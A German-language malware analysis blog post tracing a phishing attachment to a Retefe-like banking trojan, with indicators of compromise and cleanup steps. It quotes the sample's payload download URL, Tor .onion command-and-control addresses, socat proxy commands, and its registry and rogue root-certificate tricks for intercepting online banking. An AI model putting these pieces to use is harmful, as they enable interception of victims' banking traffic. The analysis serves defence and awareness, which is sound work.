Wie wohl die meisten E-Mail-Benutzer erhalten wir regelmässig seltsame Mails mit interessanten Anhängen. In diesem Beitrag schauen wir eine solche E-Mail genauer an – und folgen dem Schadcode bis zum eigentlichen Bankentrojaner.
Bankentrojaner im Posteingang
Im Prinzip sollte sich diese E-Mail sehr schnell als dubios identifizieren lassen. Sie gibt im Text vor, von Shell zu stammen – aber bereits der Absender ist offensichtlich nicht Shell. Wie der Absender zustande kam, ist hier nicht das Thema: Es kann sich um eine Fälschung handeln oder das E-Mailkonto wurde kompromittiert. Im Übrigen ist uns nicht bekannt, dass man bei Shell auf Rechnung per E-Mail tanken könnte. Anhänge mit einer anderen Endung als .pdf sind grundsätzlich verdächtig – und auch PDF-Dokumente können Schadcode enthalten.
Die Frequenz, mit der ähnliche E-Mails im Postfach eintreffen, legt aber den Schluss nahe, dass noch immer genügend Personen solche Dokumente öffnen. Schauen wir uns also an, was diesen Personen passiert.
Zuerst wurde die Datei Bestellung.docx aus dem Anhang bei virustotal.com hochgeladen. Gerade einmal 2 Virenscanner haben die Datei als bösartig erkannt.
Reverse Engineering
Im nächsten Schritt wurde das Office-Open-XML-Dokument entpackt und mit oledump.py der binäre Teil extrahiert.
Man kann erkennen, dass eine Datei von Dropbox heruntergeladen und ausgeführt wird:
https://www.dropbox.com/s/ywr5mgrgqjdvlf7/Bezahlung.exe?dl=1
Die Datei Bezahlung.exe wurde anschliessend ebenfalls bei VirusTotal eingereicht. Diesmal hatten immerhin 12 von 62 Virenscannern etwas zu beanstanden – immer noch eine Erkennungsrate unter 20%.
Was passiert, wenn Bezahlung.exe ausgeführt wird?
Zuerst wurden die ASCII-Zeichenketten aus Bezahlung.exe extrahiert. Das Meiste ist nicht lesbar – aber der Header eines WinRAR-SFX-Moduls ist deutlich erkennbar.
Im gleichen Dump ist zu sehen, dass durch das WinRAR-SFX eine Datei DYwpBcj9439550.js extrahiert und ausgeführt wird. Um diese genauer anzuschauen, wurde die SFX-Datei mit folgendem Befehl in eine normale ZIP-Datei umgewandelt:
zip -J Bezahlung.exe
Im resultierenden ZIP befindet sich erwartungsgemäss die Datei DYwpBcj9439550.js. Wie die Endung suggeriert, handelt es sich um JavaScript-Code. Die Analyse bei VirusTotal liefert ein erstaunliches Ergebnis: Wiederum schlagen nur zwei Virenscanner Alarm.
Was macht der bösartige JavaScript-Code?
Wenig erstaunlich: Der Quellcode ist nicht eben gut lesbar respektive verschlüsselt.
Der Quellcode ist mehrfach verschlüsselt. Mit Online-Tools wie matthewfl.com/unPacker.html gelingt die Entschlüsselung jedoch relativ schnell.
Ins Auge sticht sofort, dass die Malware über das Tor-Netzwerk kommuniziert. Es sind vier .onion-Adressen hinterlegt:
paoyu7gub72lykuk.onion5kybfrm53fkdgktz.onions4c3jh2qqxyqfknh.onions5jhnylq4yi7omen.onion
Die kryptischen Strings mit den Namen ps, psf und pstp sind Base64-codierte Windows-PowerShell-Skripte. Decodiert man diese und sucht im Netz nach ähnlichem Code, findet man rasch Referenzen zum Retefe-Bankentrojaner. Dieser Verdacht erhärtet sich bei der Betrachtung weiterer Teile des Quellcodes.
In der Installationsroutine wird zuerst in der Funktion TP.Install() eine portable Version des Tor-Browsers und socat von legitimen Quellen heruntergeladen. Anschliessend werden zwei neue ScheduledTasks eingerichtet, die jeweils mshta.exe mit folgenden Argumenten aufrufen:
socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050
socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050
Damit wird auf den lokalen IPv4-TCP-Ports 5555 und 5588 ein SOCKS-Proxy eingerichtet, der den Datenverkehr über die hinterlegten .onion-Adressen ins Tor-Netzwerk weiterleitet.
In der Funktion this.CAB() werden danach Internet Explorer, Firefox und Chrome geschlossen. Anschliessend werden this.IIE() und this.IF() ausgeführt. Sie haben offensichtlich eine ähnliche Funktion für unterschiedliche Browser.
In this.IIE() wird mit Exp.IC() ein neues Root-Zertifikat installiert. Dies erlaubt es dem Angreifer, vermeintlich sichere TLS-verschlüsselte Verbindungen anzubieten, ohne dass im Browser eine Sicherheitswarnung erscheint. Das Zertifikat tarnt sich unter dem bekannten Namen Comodo. Das X.509-codierte Zertifikat lässt sich beispielsweise mit sslshopper.com/certificate-decoder.html lesen.
Wer dieses Zertifikat im System oder im Browser installiert hat, sollte es entfernen. Vorsicht: Comodo ist eine legitime Zertifizierungsstelle. Es darf nur exakt dieses Zertifikat entfernt werden, nicht etwa alle Comodo-Zertifikate. Dieser Schritt hilft natürlich nur, wenn Zertifikatswarnungen im Browser nicht einfach ignoriert werden.
Im nächsten Installationsschritt nimmt Exp.InstallPac() zwei Änderungen an der Registry vor:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetectwird auffalsegesetzt.- Unter
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURLwird der lokale SOCKS4-Proxy auf TCP-Port 5555 hinterlegt.
Von nun an holt sich der Internet Explorer seine Konfiguration beim Start jeweils über das Tor-Netzwerk bei den Malwarelieferanten. Die Angreifer können damit beliebige Teile des Internetverkehrs über bösartige Server leiten und dank dem installierten Root-Zertifikat den ganzen Datenverkehr mitlesen und verändern. Dazu gehören auch vermeintlich sichere Verbindungen zu Onlinebanking-Portalen – und in diesem Fall schützt auch eine 2-Faktor-Authentisierung nicht.
Detektion des Bankentrojaners
Folgende Indikatoren deuten auf eine Retefe-Infektion hin:
- Comodo-Zertifikat: Ein Hinweis auf eine Infektion ist das Comodo-Zertifikat mit der Seriennummer
16935903287666719309(0xeb086a4f53beba4d). Diese Seriennummer kann sich allerdings rasch ändern. Wer sicher gehen will, sollte alle Zertifikatsseriennummern bei Comodo direkt prüfen. Auch kann der Angreifer das Zertifikat leicht umbenennen – alle Zertifikate zu validieren ist mühselige Handarbeit. - Lokale Listener: Lokale Netzwerk-Listener auf den TCP-Ports 5555 und 5588. Auffinden lässt sich das mit:
Auf diesen Ports können allerdings auch legitime Dienste wie SAP laufen – eine genauere Abklärung ist im Einzelfall nötig.netstat -a -n -o - AutoConfigURL-Eintrag: Der wohl deutlichste Hinweis auf eine Infektion ist der Wert von
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL. Beginnt der Eintrag dort mithttp://127.0.0.1:5555/, dann ist eine Infektion ziemlich wahrscheinlich.
Bei positivem Befund: System isolieren, Zertifikat entfernen, Proxy-Einstellungen zurücksetzen und sämtliche Banking-Passwörter ändern.
Fazit
Keine seltsamen E-Mails öffnen. Ob es sich bei diesem Stück Malware um eine weitere Version des Retefe-Bankentrojaners handelt oder ob sich andere Kriminelle bloss Teile des Codes geborgt haben, ist letztlich belanglos.
Schutz vor solchen Angriffen bieten Virenscanner nur sehr bedingt. Umso wichtiger ist es, dass Benutzer im Bereich der IT-Sicherheit sensibilisiert werden – durch Schulungen und regelmässige praktische Übungen, etwa mit harmlosen Test-Phishing-Mails. So lernen Mitarbeitende, woran sich Phishing erkennen lässt.